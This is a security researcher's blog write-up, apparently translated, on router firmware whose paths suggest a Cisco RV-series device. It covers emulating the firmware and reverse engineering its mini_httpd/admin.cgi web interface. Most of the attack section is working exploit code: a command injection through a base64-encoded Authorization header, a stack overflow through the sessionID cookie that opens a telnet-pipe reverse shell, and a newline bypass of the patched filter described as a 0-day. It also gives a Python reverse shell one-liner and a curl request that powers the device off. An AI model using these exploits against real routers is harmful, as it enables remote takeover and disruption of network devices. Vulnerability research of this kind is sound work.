

1
Initial Analysis of the Firmware



b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/nullusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listwww/gettingStarted.htmwww/configurationManagement.htmwww/app.min20200813.jswww/home.htmb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/nullusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.listb0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped




2
Firmware Simulation
root@debian-armhf:~/rootfs# lsbin etc media overlay rom sbin test_scripts usr wwwdev lib mnt proc root sys tmp varroot@debian-armhf:~/rootfs# mount -t proc /proc/ ./proc/root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/root@debian-armhf:~/rootfs# chroot . ./bin/sh BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / #
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/nulletc/scripts/mini_httpd/mini_httpd.shetc/rc.d/S23mini_httpd.initetc/init.d/mini_httpd.initetc/init.d/config_update.shusr/sbin/mini_httpdusr/sbin/admin.cgiusr/lib/opkg/info/sbr-gui.list
#!/bin/sh /etc/rc.common START=23 version_gt() { test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";}get_version() { version=`cat $1 | grep '"VERSION"' | awk -F '"' '{print $4}'` if [[ "${version/V/}" != "$version" ]]; then version=`echo $version | awk -F 'V' '{print $2}'` fi echo $version}start() { fwLgPath="/www/lang" mntLgPath="/mnt/packages/languages" mkdir -p /tmp/download mkdir -p /tmp/download mkdir -p /tmp/download/certificate mkdir -p /tmp/download/log mkdir -p /tmp/download/configuration mkdir -p /tmp/www mkdir -p /tmp/portal_img if [ ! -d /mnt/packages/languages ]; then mkdir -p /mnt/packages/languages cp -rf ${fwLgPath}/* ${mntLgPath} else # check version list="English Spanish Frensh German Itailian" for i in $list; do if [ -f ${fwLgPath}/${i}.js ]; then if [ -f ${mntLgPath}/${i}.js ]; then tmp_version=`cat ${mntLgPath}/${i}.js | grep '"VERSION"' | awk -F '"' '{print $4}'` fw_version=$(get_version ${fwLgPath}/${i}.js) mnt_version=$(get_version ${mntLgPath}/${i}.js) if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js elif ! version_gt $mnt_version $fw_version; then cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js fi else cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js fi fi done fi /etc/scripts/mini_httpd/mini_httpd.sh start} stop() { /etc/scripts/mini_httpd/mini_httpd.sh stop} reload() { /etc/scripts/mini_httpd/mini_httpd.sh reload}
/ # /etc/init.d/mini_httpd.inituci: Entry not foundSyntax: /etc/init.d/mini_httpd.init [command] Available commands: start Start the service stop Stop the service restart Restart the service reload Reload configuration files (or restart if that fails) enable Enable service autostart disable Disable service autostart / # /etc/init.d/mini_httpd.init startuci: Entry not foundls: /mnt/configcert/confd/startup/: No such file or directoryuse backup cert for mini-httpd ...1 0 0 0setsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address/ #
/ # /usr/sbin/mini_httpdsetsockopt SO_REUSEADDR: Protocol not availablesetsockopt SO_REUSEADDR: Protocol not available/usr/sbin/mini_httpd: can't bind to any address
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook */#include <stdio.h>#include <stdlib.h>#include<sys/socket.h> int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen){ return 1;}
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash) / # LD_PRELOAD="/hook" ./usr/sbin/mini_httpdbind: Address already in use/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only / # ps |grep mini_httpd 2364 root 3540 S ./usr/sbin/mini_httpd 2369 root 3120 S grep mini_httpd


3
Firmware Reverse Analysis and Debugging
Command Injection Vulnerability Analysis

vuln_back2




vuln_back1
vuln

GET /download/dniapi/ HTTP/1.1Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx


Command Inject EXP
# affect firmware version <1.0.01.02import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3: print "Parameter error. python exp.py url \"command\"" exit(0) url = sys.argv[1]cmd = sys.argv[2] CMD=";"+cmd+";"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/': url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"
Stack Overflow Vulnerability Analysis




import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/': url=url[:-1] cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac" payload = "sessionID="+cmd urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)

import requestsimport urllib3import sys url = sys.argv[1] if url[-1:]=='/': url=url[:-1] payload = "sessionID=1234".ljust(268,"a")+"bbb" urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.get(url,headers=head,verify=False) print(r)print(r.text)print(r.content)


Stack Overflow EXP
# affect firmware version <1.0.01.02import requestsimport urllib3import sys if len(sys.argv)!=5: print "Parameter error. python exp.py url reverse_shell_host input_port output_port" exit(0) url = sys.argv[1]reverse_shell_host = sys.argv[2]input_port= sys.argv[3]output_port= sys.argv[4] if url[-1:]=='/': url=url[:-1] cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port cmd2=cmd.replace(' ',"${IFS}") payload = ("sessionID="+cmd2+";").ljust(268,"a")payload += "\x1c\xb1\x01" urllib3.disable_warnings() url= url+"/help"head= {'Cookie':payload}r=requests.post(url,headers=head,verify=False) print(r)print(r.text)print(r.content)
4
Local Testing
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.122.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"
5
Testing on Real Devices



6
Gaining 0-Day
Initially, when I compared the patches, I found that the v1.0.01.02 firmware added a character filtering function before sprintf.
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024){ _BYTE *v3; // r3 _BYTE *v4; // r3 _BYTE *v5; // r3 _BYTE *v6; // r3 _BYTE *v7; // r3 _BYTE *v8; // r2 int v9; // [sp+10h] [bp-14h] _BYTE *v10; // [sp+14h] [bp-10h] int v12; // [sp+1Ch] [bp-8h] int v13; // [sp+1Ch] [bp-8h] int v14; // [sp+1Ch] [bp-8h] v12 = 0; v9 = a3_1024 - 1; v10 = output; while ( *input ) { if ( *input == '~' || *input == '`' || *input == '#' || *input == '$' || *input == '&' || *input == '*' || *input == '(' || *input == ')' || *input == '|' || *input == '[' || *input == ']' || *input == '{' || *input == '}' || *input == ';' || *input == ''' || *input == '"' || *input == '<' || *input == '>' || *input == '/' || *input == '?' || *input == '!' || *input == ' ' || *input == '=' || *input == ' ' ) { v3 = v10++; *v3 = '\'; if ( ++v12 >= v9 ) break; } else if ( *input == '\' ) { v4 = v10++; *v4 = '\'; v13 = v12 + 1; if ( v13 >= v9 ) break; v5 = v10++; *v5 = '\'; v14 = v13 + 1; if ( v14 >= v9 ) break; v6 = v10++; *v6 = '\'; v12 = v14 + 1; if ( v12 >= v9 ) break; } v7 = v10++; v8 = input++; *v7 = *v8; if ( ++v12 >= v9 ) break; } *v10 = 0; return output;}
EXP
# affect firmware version <1.0.01.04import requestsimport sysimport base64import urllib3 if len(sys.argv)!=3: print "Parameter error. python exp.py url \"command with no parameters\"" exit(0) url = sys.argv[1]cmd = sys.argv[2] CMD="\n"+cmd+"\n"CMD=base64.b64encode(CMD) header = {'Authorization':"Basic "+CMD} urllib3.disable_warnings() if url[-1:]=='/': url=url[:-1]r = requests.get(url+"/download/dniapi/", headers=header,verify=False) print "DONE!"
Testing


curl -i -s -k -X $'GET' \ -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \ -b $'local_lang=%22English%22; ru=0' \ $'https://127.0.0.1/download/dniapi/'



7
Notices

Kanxue ID: b0ldfrev
https://bbs.pediy.com/user-home-793907.htm


# Previous Recommendations
1. Developing a script to dump custom client certificates from SSL libraries
2. Roll_a_d8 beginner’s write-up
3. CVE-2021-21224 analysis notes
4. Brief insight: injecting JS code into third-party CEF applications
5. Based on Mono injection to save Draw & Guess historical room data
6. A case study: vulnerability discovery example for home router D-LINK DIR-81


Share it

Like it

Watch it

Click “Read the original text” to learn more!